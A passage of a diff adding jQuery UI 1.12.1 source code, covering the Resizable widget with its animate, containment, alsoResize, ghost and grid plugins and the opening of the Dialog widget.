"<div>" ); + this._addClass( axis, "ui-resizable-handle " + hname ); + + axis.css( { zIndex: o.zIndex } ); + + this.handles[ handle ] = ".ui-resizable-" + handle; + this.element.append( axis ); + } + + } + + this._renderAxis = function( target ) { + + var i, axis, padPos, padWrapper; + + target = target || this.element; + + for ( i in this.handles ) { + + if ( this.handles[ i ].constructor === String ) { + this.handles[ i ] = this.element.children( this.handles[ i ] ).first().show(); + } else if ( this.handles[ i ].jquery || this.handles[ i ].nodeType ) { + this.handles[ i ] = $( this.handles[ i ] ); + this._on( this.handles[ i ], { "mousedown": that._mouseDown } ); + } + + if ( this.elementIsWrapper && + this.originalElement[ 0 ] + .nodeName + .match( /^(textarea|input|select|button)$/i ) ) { + axis = $( this.handles[ i ], this.element ); + + padWrapper = /sw|ne|nw|se|n|s/.test( i ) ? + axis.outerHeight() : + axis.outerWidth(); + + padPos = [ "padding", + /ne|nw|n/.test( i ) ? "Top" : + /se|sw|s/.test( i ) ? "Bottom" : + /^e$/.test( i ) ? "Right" : "Left" ].join( "" ); + + target.css( padPos, padWrapper ); + + this._proportionallyResize(); + } + + this._handles = this._handles.add( this.handles[ i ] ); + } + }; + + // TODO: make renderAxis a prototype function + this._renderAxis( this.element ); + + this._handles = this._handles.add( this.element.find( ".ui-resizable-handle" ) ); + this._handles.disableSelection(); + + this._handles.on( "mouseover", function() { + if ( !that.resizing ) { + if ( this.className ) { + axis = this.className.match( /ui-resizable-(se|sw|ne|nw|n|e|s|w)/i ); + } + that.axis = axis && axis[ 1 ] ? axis[ 1 ] : "se"; + } + } ); + + if ( o.autoHide ) { + this._handles.hide(); + this._addClass( "ui-resizable-autohide" ); + } + }, + + _removeHandles: function() { + this._handles.remove(); + }, + + _mouseCapture: function( event ) { + var i, handle, + capture = false; + + for ( i in this.handles ) { + handle = $( this.handles[ i ] )[ 0 ]; + if ( handle === event.target || $.contains( handle, event.target ) ) { + capture = true; + } + } + + return !this.options.disabled && capture; + }, + + _mouseStart: function( event ) { + + var curleft, curtop, cursor, + o = this.options, + el = this.element; + + this.resizing = true; + + this._renderProxy(); + + curleft = this._num( this.helper.css( "left" ) ); + curtop = this._num( this.helper.css( "top" ) ); + + if ( o.containment ) { + curleft += $( o.containment ).scrollLeft() || 0; + curtop += $( o.containment ).scrollTop() || 0; + } + + this.offset = this.helper.offset(); + this.position = { left: curleft, top: curtop }; + + this.size = this._helper ? { + width: this.helper.width(), + height: this.helper.height() + } : { + width: el.width(), + height: el.height() + }; + + this.originalSize = this._helper ? { + width: el.outerWidth(), + height: el.outerHeight() + } : { + width: el.width(), + height: el.height() + }; + + this.sizeDiff = { + width: el.outerWidth() - el.width(), + height: el.outerHeight() - el.height() + }; + + this.originalPosition = { left: curleft, top: curtop }; + this.originalMousePosition = { left: event.pageX, top: event.pageY }; + + this.aspectRatio = ( typeof o.aspectRatio === "number" ) ? + o.aspectRatio : + ( ( this.originalSize.width / this.originalSize.height ) || 1 ); + + cursor = $( ".ui-resizable-" + this.axis ).css( "cursor" ); + $( "body" ).css( "cursor", cursor === "auto" ? this.axis + "-resize" : cursor ); + + this._addClass( "ui-resizable-resizing" ); + this._propagate( "start", event ); + return true; + }, + + _mouseDrag: function( event ) { + + var data, props, + smp = this.originalMousePosition, + a = this.axis, + dx = ( event.pageX - smp.left ) || 0, + dy = ( event.pageY - smp.top ) || 0, + trigger = this._change[ a ]; + + this._updatePrevProperties(); + + if ( !trigger ) { + return false; + } + + data = trigger.apply( this, [ event, dx, dy ] ); + + this._updateVirtualBoundaries( event.shiftKey ); + if ( this._aspectRatio || event.shiftKey ) { + data = this._updateRatio( data, event ); + } + + data = this._respectSize( data, event ); + + this._updateCache( data ); + + this._propagate( "resize", event ); + + props = this._applyChanges(); + + if ( !this._helper && this._proportionallyResizeElements.length ) { + this._proportionallyResize(); + } + + if ( !$.isEmptyObject( props ) ) { + this._updatePrevProperties(); + this._trigger( "resize", event, this.ui() ); + this._applyChanges(); + } + + return false; + }, + + _mouseStop: function( event ) { + + this.resizing = false; + var pr, ista, soffseth, soffsetw, s, left, top, + o = this.options, that = this; + + if ( this._helper ) { + + pr = this._proportionallyResizeElements; + ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName ); + soffseth = ista && this._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height; + soffsetw = ista ? 0 : that.sizeDiff.width; + + s = { + width: ( that.helper.width() - soffsetw ), + height: ( that.helper.height() - soffseth ) + }; + left = ( parseFloat( that.element.css( "left" ) ) + + ( that.position.left - that.originalPosition.left ) ) || null; + top = ( parseFloat( that.element.css( "top" ) ) + + ( that.position.top - that.originalPosition.top ) ) || null; + + if ( !o.animate ) { + this.element.css( $.extend( s, { top: top, left: left } ) ); + } + + that.helper.height( that.size.height ); + that.helper.width( that.size.width ); + + if ( this._helper && !o.animate ) { + this._proportionallyResize(); + } + } + + $( "body" ).css( "cursor", "auto" ); + + this._removeClass( "ui-resizable-resizing" ); + + this._propagate( "stop", event ); + + if ( this._helper ) { + this.helper.remove(); + } + + return false; + + }, + + _updatePrevProperties: function() { + this.prevPosition = { + top: this.position.top, + left: this.position.left + }; + this.prevSize = { + width: this.size.width, + height: this.size.height + }; + }, + + _applyChanges: function() { + var props = {}; + + if ( this.position.top !== this.prevPosition.top ) { + props.top = this.position.top + "px"; + } + if ( this.position.left !== this.prevPosition.left ) { + props.left = this.position.left + "px"; + } + if ( this.size.width !== this.prevSize.width ) { + props.width = this.size.width + "px"; + } + if ( this.size.height !== this.prevSize.height ) { + props.height = this.size.height + "px"; + } + + this.helper.css( props ); + + return props; + }, + + _updateVirtualBoundaries: function( forceAspectRatio ) { + var pMinWidth, pMaxWidth, pMinHeight, pMaxHeight, b, + o = this.options; + + b = { + minWidth: this._isNumber( o.minWidth ) ? o.minWidth : 0, + maxWidth: this._isNumber( o.maxWidth ) ? o.maxWidth : Infinity, + minHeight: this._isNumber( o.minHeight ) ? o.minHeight : 0, + maxHeight: this._isNumber( o.maxHeight ) ? o.maxHeight : Infinity + }; + + if ( this._aspectRatio || forceAspectRatio ) { + pMinWidth = b.minHeight * this.aspectRatio; + pMinHeight = b.minWidth / this.aspectRatio; + pMaxWidth = b.maxHeight * this.aspectRatio; + pMaxHeight = b.maxWidth / this.aspectRatio; + + if ( pMinWidth > b.minWidth ) { + b.minWidth = pMinWidth; + } + if ( pMinHeight > b.minHeight ) { + b.minHeight = pMinHeight; + } + if ( pMaxWidth < b.maxWidth ) { + b.maxWidth = pMaxWidth; + } + if ( pMaxHeight < b.maxHeight ) { + b.maxHeight = pMaxHeight; + } + } + this._vBoundaries = b; + }, + + _updateCache: function( data ) { + this.offset = this.helper.offset(); + if ( this._isNumber( data.left ) ) { + this.position.left = data.left; + } + if ( this._isNumber( data.top ) ) { + this.position.top = data.top; + } + if ( this._isNumber( data.height ) ) { + this.size.height = data.height; + } + if ( this._isNumber( data.width ) ) { + this.size.width = data.width; + } + }, + + _updateRatio: function( data ) { + + var cpos = this.position, + csize = this.size, + a = this.axis; + + if ( this._isNumber( data.height ) ) { + data.width = ( data.height * this.aspectRatio ); + } else if ( this._isNumber( data.width ) ) { + data.height = ( data.width / this.aspectRatio ); + } + + if ( a === "sw" ) { + data.left = cpos.left + ( csize.width - data.width ); + data.top = null; + } + if ( a === "nw" ) { + data.top = cpos.top + ( csize.height - data.height ); + data.left = cpos.left + ( csize.width - data.width ); + } + + return data; + }, + + _respectSize: function( data ) { + + var o = this._vBoundaries, + a = this.axis, + ismaxw = this._isNumber( data.width ) && o.maxWidth && ( o.maxWidth < data.width ), + ismaxh = this._isNumber( data.height ) && o.maxHeight && ( o.maxHeight < data.height ), + isminw = this._isNumber( data.width ) && o.minWidth && ( o.minWidth > data.width ), + isminh = this._isNumber( data.height ) && o.minHeight && ( o.minHeight > data.height ), + dw = this.originalPosition.left + this.originalSize.width, + dh = this.originalPosition.top + this.originalSize.height, + cw = /sw|nw|w/.test( a ), ch = /nw|ne|n/.test( a ); + if ( isminw ) { + data.width = o.minWidth; + } + if ( isminh ) { + data.height = o.minHeight; + } + if ( ismaxw ) { + data.width = o.maxWidth; + } + if ( ismaxh ) { + data.height = o.maxHeight; + } + + if ( isminw && cw ) { + data.left = dw - o.minWidth; + } + if ( ismaxw && cw ) { + data.left = dw - o.maxWidth; + } + if ( isminh && ch ) { + data.top = dh - o.minHeight; + } + if ( ismaxh && ch ) { + data.top = dh - o.maxHeight; + } + + // Fixing jump error on top/left - bug #2330 + if ( !data.width && !data.height && !data.left && data.top ) { + data.top = null; + } else if ( !data.width && !data.height && !data.top && data.left ) { + data.left = null; + } + + return data; + }, + + _getPaddingPlusBorderDimensions: function( element ) { + var i = 0, + widths = [], + borders = [ + element.css( "borderTopWidth" ), + element.css( "borderRightWidth" ), + element.css( "borderBottomWidth" ), + element.css( "borderLeftWidth" ) + ], + paddings = [ + element.css( "paddingTop" ), + element.css( "paddingRight" ), + element.css( "paddingBottom" ), + element.css( "paddingLeft" ) + ]; + + for ( ; i < 4; i++ ) { + widths[ i ] = ( parseFloat( borders[ i ] ) || 0 ); + widths[ i ] += ( parseFloat( paddings[ i ] ) || 0 ); + } + + return { + height: widths[ 0 ] + widths[ 2 ], + width: widths[ 1 ] + widths[ 3 ] + }; + }, + + _proportionallyResize: function() { + + if ( !this._proportionallyResizeElements.length ) { + return; + } + + var prel, + i = 0, + element = this.helper || this.element; + + for ( ; i < this._proportionallyResizeElements.length; i++ ) { + + prel = this._proportionallyResizeElements[ i ]; + + // TODO: Seems like a bug to cache this.outerDimensions + // considering that we are in a loop. + if ( !this.outerDimensions ) { + this.outerDimensions = this._getPaddingPlusBorderDimensions( prel ); + } + + prel.css( { + height: ( element.height() - this.outerDimensions.height ) || 0, + width: ( element.width() - this.outerDimensions.width ) || 0 + } ); + + } + + }, + + _renderProxy: function() { + + var el = this.element, o = this.options; + this.elementOffset = el.offset(); + + if ( this._helper ) { + + this.helper = this.helper || $( "<div style='overflow:hidden;'></div>" ); + + this._addClass( this.helper, this._helper ); + this.helper.css( { + width: this.element.outerWidth(), + height: this.element.outerHeight(), + position: "absolute", + left: this.elementOffset.left + "px", + top: this.elementOffset.top + "px", + zIndex: ++o.zIndex //TODO: Don't modify option + } ); + + this.helper + .appendTo( "body" ) + .disableSelection(); + + } else { + this.helper = this.element; + } + + }, + + _change: { + e: function( event, dx ) { + return { width: this.originalSize.width + dx }; + }, + w: function( event, dx ) { + var cs = this.originalSize, sp = this.originalPosition; + return { left: sp.left + dx, width: cs.width - dx }; + }, + n: function( event, dx, dy ) { + var cs = this.originalSize, sp = this.originalPosition; + return { top: sp.top + dy, height: cs.height - dy }; + }, + s: function( event, dx, dy ) { + return { height: this.originalSize.height + dy }; + }, + se: function( event, dx, dy ) { + return $.extend( this._change.s.apply( this, arguments ), + this._change.e.apply( this, [ event, dx, dy ] ) ); + }, + sw: function( event, dx, dy ) { + return $.extend( this._change.s.apply( this, arguments ), + this._change.w.apply( this, [ event, dx, dy ] ) ); + }, + ne: function( event, dx, dy ) { + return $.extend( this._change.n.apply( this, arguments ), + this._change.e.apply( this, [ event, dx, dy ] ) ); + }, + nw: function( event, dx, dy ) { + return $.extend( this._change.n.apply( this, arguments ), + this._change.w.apply( this, [ event, dx, dy ] ) ); + } + }, + + _propagate: function( n, event ) { + $.ui.plugin.call( this, n, [ event, this.ui() ] ); + ( n !== "resize" && this._trigger( n, event, this.ui() ) ); + }, + + plugins: {}, + + ui: function() { + return { + originalElement: this.originalElement, + element: this.element, + helper: this.helper, + position: this.position, + size: this.size, + originalSize: this.originalSize, + originalPosition: this.originalPosition + }; + } + +} ); + +/* + * Resizable Extensions + */ + +$.ui.plugin.add( "resizable", "animate", { + + stop: function( event ) { + var that = $( this ).resizable( "instance" ), + o = that.options, + pr = that._proportionallyResizeElements, + ista = pr.length && ( /textarea/i ).test( pr[ 0 ].nodeName ), + soffseth = ista && that._hasScroll( pr[ 0 ], "left" ) ? 0 : that.sizeDiff.height, + soffsetw = ista ? 0 : that.sizeDiff.width, + style = { + width: ( that.size.width - soffsetw ), + height: ( that.size.height - soffseth ) + }, + left = ( parseFloat( that.element.css( "left" ) ) + + ( that.position.left - that.originalPosition.left ) ) || null, + top = ( parseFloat( that.element.css( "top" ) ) + + ( that.position.top - that.originalPosition.top ) ) || null; + + that.element.animate( + $.extend( style, top && left ? { top: top, left: left } : {} ), { + duration: o.animateDuration, + easing: o.animateEasing, + step: function() { + + var data = { + width: parseFloat( that.element.css( "width" ) ), + height: parseFloat( that.element.css( "height" ) ), + top: parseFloat( that.element.css( "top" ) ), + left: parseFloat( that.element.css( "left" ) ) + }; + + if ( pr && pr.length ) { + $( pr[ 0 ] ).css( { width: data.width, height: data.height } ); + } + + // Propagating resize, and updating values for each animation step + that._updateCache( data ); + that._propagate( "resize", event ); + + } + } + ); + } + +} ); + +$.ui.plugin.add( "resizable", "containment", { + + start: function() { + var element, p, co, ch, cw, width, height, + that = $( this ).resizable( "instance" ), + o = that.options, + el = that.element, + oc = o.containment, + ce = ( oc instanceof $ ) ? + oc.get( 0 ) : + ( /parent/.test( oc ) ) ? el.parent().get( 0 ) : oc; + + if ( !ce ) { + return; + } + + that.containerElement = $( ce ); + + if ( /document/.test( oc ) || oc === document ) { + that.containerOffset = { + left: 0, + top: 0 + }; + that.containerPosition = { + left: 0, + top: 0 + }; + + that.parentData = { + element: $( document ), + left: 0, + top: 0, + width: $( document ).width(), + height: $( document ).height() || document.body.parentNode.scrollHeight + }; + } else { + element = $( ce ); + p = []; + $( [ "Top", "Right", "Left", "Bottom" ] ).each( function( i, name ) { + p[ i ] = that._num( element.css( "padding" + name ) ); + } ); + + that.containerOffset = element.offset(); + that.containerPosition = element.position(); + that.containerSize = { + height: ( element.innerHeight() - p[ 3 ] ), + width: ( element.innerWidth() - p[ 1 ] ) + }; + + co = that.containerOffset; + ch = that.containerSize.height; + cw = that.containerSize.width; + width = ( that._hasScroll ( ce, "left" ) ? ce.scrollWidth : cw ); + height = ( that._hasScroll ( ce ) ? ce.scrollHeight : ch ) ; + + that.parentData = { + element: ce, + left: co.left, + top: co.top, + width: width, + height: height + }; + } + }, + + resize: function( event ) { + var woset, hoset, isParent, isOffsetRelative, + that = $( this ).resizable( "instance" ), + o = that.options, + co = that.containerOffset, + cp = that.position, + pRatio = that._aspectRatio || event.shiftKey, + cop = { + top: 0, + left: 0 + }, + ce = that.containerElement, + continueResize = true; + + if ( ce[ 0 ] !== document && ( /static/ ).test( ce.css( "position" ) ) ) { + cop = co; + } + + if ( cp.left < ( that._helper ? co.left : 0 ) ) { + that.size.width = that.size.width + + ( that._helper ? + ( that.position.left - co.left ) : + ( that.position.left - cop.left ) ); + + if ( pRatio ) { + that.size.height = that.size.width / that.aspectRatio; + continueResize = false; + } + that.position.left = o.helper ? co.left : 0; + } + + if ( cp.top < ( that._helper ? co.top : 0 ) ) { + that.size.height = that.size.height + + ( that._helper ? + ( that.position.top - co.top ) : + that.position.top ); + + if ( pRatio ) { + that.size.width = that.size.height * that.aspectRatio; + continueResize = false; + } + that.position.top = that._helper ? co.top : 0; + } + + isParent = that.containerElement.get( 0 ) === that.element.parent().get( 0 ); + isOffsetRelative = /relative|absolute/.test( that.containerElement.css( "position" ) ); + + if ( isParent && isOffsetRelative ) { + that.offset.left = that.parentData.left + that.position.left; + that.offset.top = that.parentData.top + that.position.top; + } else { + that.offset.left = that.element.offset().left; + that.offset.top = that.element.offset().top; + } + + woset = Math.abs( that.sizeDiff.width + + ( that._helper ? + that.offset.left - cop.left : + ( that.offset.left - co.left ) ) ); + + hoset = Math.abs( that.sizeDiff.height + + ( that._helper ? + that.offset.top - cop.top : + ( that.offset.top - co.top ) ) ); + + if ( woset + that.size.width >= that.parentData.width ) { + that.size.width = that.parentData.width - woset; + if ( pRatio ) { + that.size.height = that.size.width / that.aspectRatio; + continueResize = false; + } + } + + if ( hoset + that.size.height >= that.parentData.height ) { + that.size.height = that.parentData.height - hoset; + if ( pRatio ) { + that.size.width = that.size.height * that.aspectRatio; + continueResize = false; + } + } + + if ( !continueResize ) { + that.position.left = that.prevPosition.left; + that.position.top = that.prevPosition.top; + that.size.width = that.prevSize.width; + that.size.height = that.prevSize.height; + } + }, + + stop: function() { + var that = $( this ).resizable( "instance" ), + o = that.options, + co = that.containerOffset, + cop = that.containerPosition, + ce = that.containerElement, + helper = $( that.helper ), + ho = helper.offset(), + w = helper.outerWidth() - that.sizeDiff.width, + h = helper.outerHeight() - that.sizeDiff.height; + + if ( that._helper && !o.animate && ( /relative/ ).test( ce.css( "position" ) ) ) { + $( this ).css( { + left: ho.left - cop.left - co.left, + width: w, + height: h + } ); + } + + if ( that._helper && !o.animate && ( /static/ ).test( ce.css( "position" ) ) ) { + $( this ).css( { + left: ho.left - cop.left - co.left, + width: w, + height: h + } ); + } + } +} ); + +$.ui.plugin.add( "resizable", "alsoResize", { + + start: function() { + var that = $( this ).resizable( "instance" ), + o = that.options; + + $( o.alsoResize ).each( function() { + var el = $( this ); + el.data( "ui-resizable-alsoresize", { + width: parseFloat( el.width() ), height: parseFloat( el.height() ), + left: parseFloat( el.css( "left" ) ), top: parseFloat( el.css( "top" ) ) + } ); + } ); + }, + + resize: function( event, ui ) { + var that = $( this ).resizable( "instance" ), + o = that.options, + os = that.originalSize, + op = that.originalPosition, + delta = { + height: ( that.size.height - os.height ) || 0, + width: ( that.size.width - os.width ) || 0, + top: ( that.position.top - op.top ) || 0, + left: ( that.position.left - op.left ) || 0 + }; + + $( o.alsoResize ).each( function() { + var el = $( this ), start = $( this ).data( "ui-resizable-alsoresize" ), style = {}, + css = el.parents( ui.originalElement[ 0 ] ).length ? + [ "width", "height" ] : + [ "width", "height", "top", "left" ]; + + $.each( css, function( i, prop ) { + var sum = ( start[ prop ] || 0 ) + ( delta[ prop ] || 0 ); + if ( sum && sum >= 0 ) { + style[ prop ] = sum || null; + } + } ); + + el.css( style ); + } ); + }, + + stop: function() { + $( this ).removeData( "ui-resizable-alsoresize" ); + } +} ); + +$.ui.plugin.add( "resizable", "ghost", { + + start: function() { + + var that = $( this ).resizable( "instance" ), cs = that.size; + + that.ghost = that.originalElement.clone(); + that.ghost.css( { + opacity: 0.25, + display: "block", + position: "relative", + height: cs.height, + width: cs.width, + margin: 0, + left: 0, + top: 0 + } ); + + that._addClass( that.ghost, "ui-resizable-ghost" ); + + // DEPRECATED + // TODO: remove after 1.12 + if ( $.uiBackCompat !== false && typeof that.options.ghost === "string" ) { + + // Ghost option + that.ghost.addClass( this.options.ghost ); + } + + that.ghost.appendTo( that.helper ); + + }, + + resize: function() { + var that = $( this ).resizable( "instance" ); + if ( that.ghost ) { + that.ghost.css( { + position: "relative", + height: that.size.height, + width: that.size.width + } ); + } + }, + + stop: function() { + var that = $( this ).resizable( "instance" ); + if ( that.ghost && that.helper ) { + that.helper.get( 0 ).removeChild( that.ghost.get( 0 ) ); + } + } + +} ); + +$.ui.plugin.add( "resizable", "grid", { + + resize: function() { + var outerDimensions, + that = $( this ).resizable( "instance" ), + o = that.options, + cs = that.size, + os = that.originalSize, + op = that.originalPosition, + a = that.axis, + grid = typeof o.grid === "number" ? [ o.grid, o.grid ] : o.grid, + gridX = ( grid[ 0 ] || 1 ), + gridY = ( grid[ 1 ] || 1 ), + ox = Math.round( ( cs.width - os.width ) / gridX ) * gridX, + oy = Math.round( ( cs.height - os.height ) / gridY ) * gridY, + newWidth = os.width + ox, + newHeight = os.height + oy, + isMaxWidth = o.maxWidth && ( o.maxWidth < newWidth ), + isMaxHeight = o.maxHeight && ( o.maxHeight < newHeight ), + isMinWidth = o.minWidth && ( o.minWidth > newWidth ), + isMinHeight = o.minHeight && ( o.minHeight > newHeight ); + + o.grid = grid; + + if ( isMinWidth ) { + newWidth += gridX; + } + if ( isMinHeight ) { + newHeight += gridY; + } + if ( isMaxWidth ) { + newWidth -= gridX; + } + if ( isMaxHeight ) { + newHeight -= gridY; + } + + if ( /^(se|s|e)$/.test( a ) ) { + that.size.width = newWidth; + that.size.height = newHeight; + } else if ( /^(ne)$/.test( a ) ) { + that.size.width = newWidth; + that.size.height = newHeight; + that.position.top = op.top - oy; + } else if ( /^(sw)$/.test( a ) ) { + that.size.width = newWidth; + that.size.height = newHeight; + that.position.left = op.left - ox; + } else { + if ( newHeight - gridY <= 0 || newWidth - gridX <= 0 ) { + outerDimensions = that._getPaddingPlusBorderDimensions( this ); + } + + if ( newHeight - gridY > 0 ) { + that.size.height = newHeight; + that.position.top = op.top - oy; + } else { + newHeight = gridY - outerDimensions.height; + that.size.height = newHeight; + that.position.top = op.top + os.height - newHeight; + } + if ( newWidth - gridX > 0 ) { + that.size.width = newWidth; + that.position.left = op.left - ox; + } else { + newWidth = gridX - outerDimensions.width; + that.size.width = newWidth; + that.position.left = op.left + os.width - newWidth; + } + } + } + +} ); + +var widgetsResizable = $.ui.resizable; + + +/*! + * jQuery UI Dialog 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Dialog +//>>group: Widgets +//>>description: Displays customizable dialog windows. +//>>docs: http://api.jqueryui.com/dialog/ +//>>demos: http://jqueryui.com/dialog/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/dialog.css +//>>css.theme: ../../themes/base/theme.css + + + +$.widget( "ui.dialog", { + version: "1.12.1", + options: { + appendTo: "body", + autoOpen: true, + buttons: [], + classes: { + "ui-dialog": "ui-corner-all", + "ui-dialog-titlebar": "ui-corner-all" + }, + closeOnEscape: true, + closeText: "Close", + draggable: true, + hide: null, + height: "auto", + maxHeight: null, + maxWidth: null, + minHeight: 150, + minWidth: 150, + modal: false, + position: { + my: "center", + at: "center", + of: window, + collision: "fit", + + // Ensure the titlebar is always visible + using: function( pos ) { + var topOffset = $( this ).css( pos ).offset().top; + if ( topOffset < 0 ) { + $( this ).css( "top", pos.top - topOffset ); + } + } + }, + resizable: true, + show: null, + title: null, + width: 300, + + // Callbacks + beforeClose: null, + close: null, + drag: null, + dragStart: null, + dragStop: null, + focus: null, + open: null, + resize: null, + resizeStart: null, + resizeStop: null + }, + + sizeRelatedOptions: { + buttons: true, + height: true, + maxHeight: true, + maxWidth: true, + minHeight: true, + minWidth: true, + width: true + }, + + resizableRelatedOptions: { + maxHeight: true, + maxWidth: true, + minHeight: true, + minWidth: true + }, + + _create: function() { + this.originalCss = { + display: this.element[ 0 ].style.display, + width: this.element[ 0 ].style.width, + minHeight: this.element[ 0 ].style.minHeight, + maxHeight: this.element[ 0 ].style.maxHeight, + height: this.element[ 0 ].style.height + }; + this.originalPosition = { + parent: this.element.parent(), + index: this.element.parent().children().index( this.element ) + }; + this.originalTitle = this.element.attr( "title" ); + if ( this.options.title == null && this.originalTitle != null ) { + this.options.title = this.originalTitle; + } + + // Dialogs can't be disabled + if ( this.options.disabled ) { + this.options.disabled = false; + } + + this._createWrapper(); + + this.element + .show() + .removeAttr( "title" ) + .appendTo( this.uiDialog ); + + this._addClass( "ui-dialog-content", "ui-widget-content" ); + + this._createTitlebar(); + this._createButtonPane(); + + if ( this.options.draggable && $.fn.draggable ) { + this._makeDraggable(); + } + if ( this.options.resizable && $.fn.resizable ) { + this._makeResizable(); + } + + this._isOpen = false; + + this._trackFocus(); + }, + + _init: function() { + if ( this.options.autoOpen ) { + this.open(); + } + }, + + _appendTo: function() { + var element = this.options.appendTo; + if ( element && ( element.jquery || element.nodeType ) ) { + return $( element ); + } + return this.document.find( element || "body" ).eq( 0 ); + }, + + _destroy: function() { + var next, + originalPosition = this.originalPosition; + + this._untrackInstance(); + this._destroyOverlay(); + + this.element + .removeUniqueId() + .css( this.originalCss ) + + // Without detaching first, the following becomes really slow + .detach(); + + this.uiDialog.remove(); + + if ( this.originalTitle ) { + this.element.attr( "title", this.originalTitle ); + } + + next = originalPosition.parent.children().eq( originalPosition.index ); + + // Don't try to place the dialog next to itself (#8613) + if ( next.length && next[ 0 ] !== this.element[ 0 ] ) { + next.before( this.element ); + } else { + originalPosition.parent.append( this.element ); + } + }, + + widget: function() { + return this.uiDialog; + }, + + disable: $.noop, + enable: $.noop, + + close: function( event ) { + var that = this; + + if ( !this._isOpen || this._trigger( "beforeClose", event ) === false ) { + return; + } + + this._isOpen = false; + this._focusedElement = null; + this._destroyOverlay(); + this._untrackInstance(); + + if ( !this.opener.filter( ":focusable" ).trigger( "focus" ).length ) { + + // Hiding a focused element doesn't trigger blur in WebKit + // so in case we have nothing to focus on, explicitly blur the active element + // https://bugs.webkit.org/show_bug.cgi?id=47182 + $.ui.safeBlur( $.ui.safeActiveElement( this.document[ 0 ] ) ); + } + + this._hide( this.uiDialog, this.options.hide, function() { + that._trigger( "close", event ); + } ); + }, + + isOpen: function() { + return this._isOpen; + }, + + moveToTop: function() { + this._moveToTop(); + }, + + _moveToTop: function( event, silent ) { + var moved = false, + zIndices = this.uiDialog.siblings( ".ui-front:visible" ).map( function() { + return +$( this ).css( "z-index" ); + } ).get(), + zIndexMax = Math.max.apply( null, zIndices ); + + if ( zIndexMax >= +this.uiDialog.css( "z-index" ) ) { + this.uiDialog.css( "z-index", zIndexMax + 1 ); + moved = true; + } + + if ( moved && !silent ) { + this._trigger( "focus", event ); + } + return moved; + }, + + open: function() { + var that = this; + if ( this._isOpen ) { + if ( this._moveToTop() ) { + this._focusTabbable(); + } + return; + } + + this._isOpen = true; + this.opener = $( $.ui.safeActiveElement( this.document[ 0 ] ) ); + + this._size(); + this._position(); + this._createOverlay(); + this._moveToTop( null, true ); + + // Ensure the overlay is moved to the top with the dialog, but only when + // opening. The overlay shouldn't move after the dialog is open so that + // modeless dialogs opened after the modal dialog stack properly. + if ( this.overlay ) { + this.overlay.css( "z-index", this.uiDialog.css( "z-index" ) - 1 ); + } + + this._show( this.uiDialog, this.options.show, function() { + that._focusTabbable(); + that._trigger( "focus" ); + } ); + + // Track the dialog immediately upon openening in case a focus event + // somehow occurs outside of the dialog before an element inside the + // dialog is focused (#10152) + this._makeFocusTarget(); + + this._trigger( "open" ); + }, + + _focusTabbable: function() { + + // Set focus to the first match: + // 1. An element that was focused previously + // 2. First element inside the dialog matching [autofocus] + // 3. Tabbable element inside the content element + // 4. Tabbable element inside the buttonpane + // 5. The close button + // 6. The dialog itself + var hasFocus = this._focusedElement; + if ( !hasFocus ) { + hasFocus = this.element.find( "[autofocus]" ); + } + if ( !hasFocus.length ) { + hasFocus = this.element.find( ":tabbable" ); + } + if ( !hasFocus.length ) { + hasFocus = this.uiDialogButtonPane.find( ":tabbable" ); + } + if ( !hasFocus.length ) { + hasFocus = this.uiDialogTitlebarClose.filter( ":tabbable" ); + } + if ( !hasFocus.length ) { + hasFocus = this.uiDialog; + } + hasFocus.eq( 0 ).trigger( "focus" ); + }, + + _keepFocus: function( event ) { + function checkFocus() { + var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ), + isActive = this.uiDialog[ 0 ] === activeElement || + $.contains( this.uiDialog[ 0 ], activeElement ); + if ( !isActive ) { + this._focusTabbable(); + } + } + event.preventDefault(); + checkFocus.call( this ); + + // support: IE + // IE <= 8 doesn't prevent moving focus even with event.preventDefault() + // so we check again later + this._delay( checkFocus ); + }, + + _createWrapper: function() { + this.uiDialog = $( "<div>" ) + .hide() + .attr( { + + // Setting tabIndex makes the div focusable + tabIndex: -1, + role: "dialog" + } ) + .appendTo( this._appendTo() ); + + this._addClass( this.uiDialog, "ui-dialog", "ui-widget ui-widget-content ui-front" ); + this._on( this.uiDialog, { + keydown: function( event ) { + if ( this.options.closeOnEscape && !event.isDefaultPrevented() && event.keyCode && + event.keyCode === $.ui.keyCode.ESCAPE ) { + event.preventDefault(); + this.close( event ); + return; + } + + // Prevent tabbing out of dialogs + if ( event.keyCode !== $.ui.keyCode.TAB || event.isDefaultPrevented() ) { + return; + } + var tabbables = this.uiDialog.find( ":tabbable" ), + first = tabbables.filter( ":first" ), + last = tabbables.filter( ":last" ); + + if ( ( event.target === last[ 0 ] || event.target === this.uiDialog[ 0 ] ) && + !event.shiftKey ) { + this._delay( function() { + first.trigger( "focus" ); + } ); + event.preventDefault(); + } else if ( ( event.target === first[ 0 ] || + event.target === this.uiDialog[ 0 ] ) && event.shiftKey ) { + this._delay( function() { + last.trigger( "focus" ); + } ); + event.preventDefault(); + } + }, + mousedown: function( event ) { + if ( this._moveToTop( event ) ) { + this._focusTabbable(); + } + } + } ); + + // We assume that any existing aria-describedby attribute means + // that the dialog content is marked up properly + // otherwise we brute force the content as the description + if ( !this.element.find( "[aria-describedby]" ).length ) { + this.uiDialog.attr( { + "aria-describedby": this.element.uniqueId().attr( "id" ) + } ); + } + }, + + _createTitlebar: function() { + var uiDialogTitle; + + this.uiDialogTitlebar = $( "<div>" ); + this._addClass( this.uiDialogTitlebar, + "ui-dialog-titlebar", "ui-widget-header ui-helper-clearfix" ); + this._on( this.uiDialogTitlebar, { + mousedown: function( event ) { + + // Don't prevent click on close button (#8838) + // Focusing a dialog that is partially scrolled out of view + // causes the browser to scroll it into view, preventing the click event + if ( !$( event.target ).closest( ".ui-dialog-titlebar-close" ) ) { + + // Dialog isn't getting focus when dragging (#8063) + this.uiDialog.trigger( "focus" ); + } + } + } ); + + // Support: IE + // Use type="button" to prevent enter keypresses in textboxes from closing the + // dialog in IE (#9312) + this.uiDialogTitlebarClose = $( "<button type='button'></button>" ) + .button( { + label: $( "<a>" ).text( this.options.closeText ).html(), + icon: "ui-icon-closethick", + showLabel: false + } ) + .appendTo( this.uiDialogTitlebar ); + + this._addClass( this.uiDialogTitlebarClose, "ui-dialog-titlebar-close" ); + this._on( this.uiDialogTitlebarClose, { + click: function( event ) { + event.preventDefault(); + this.close( event ); 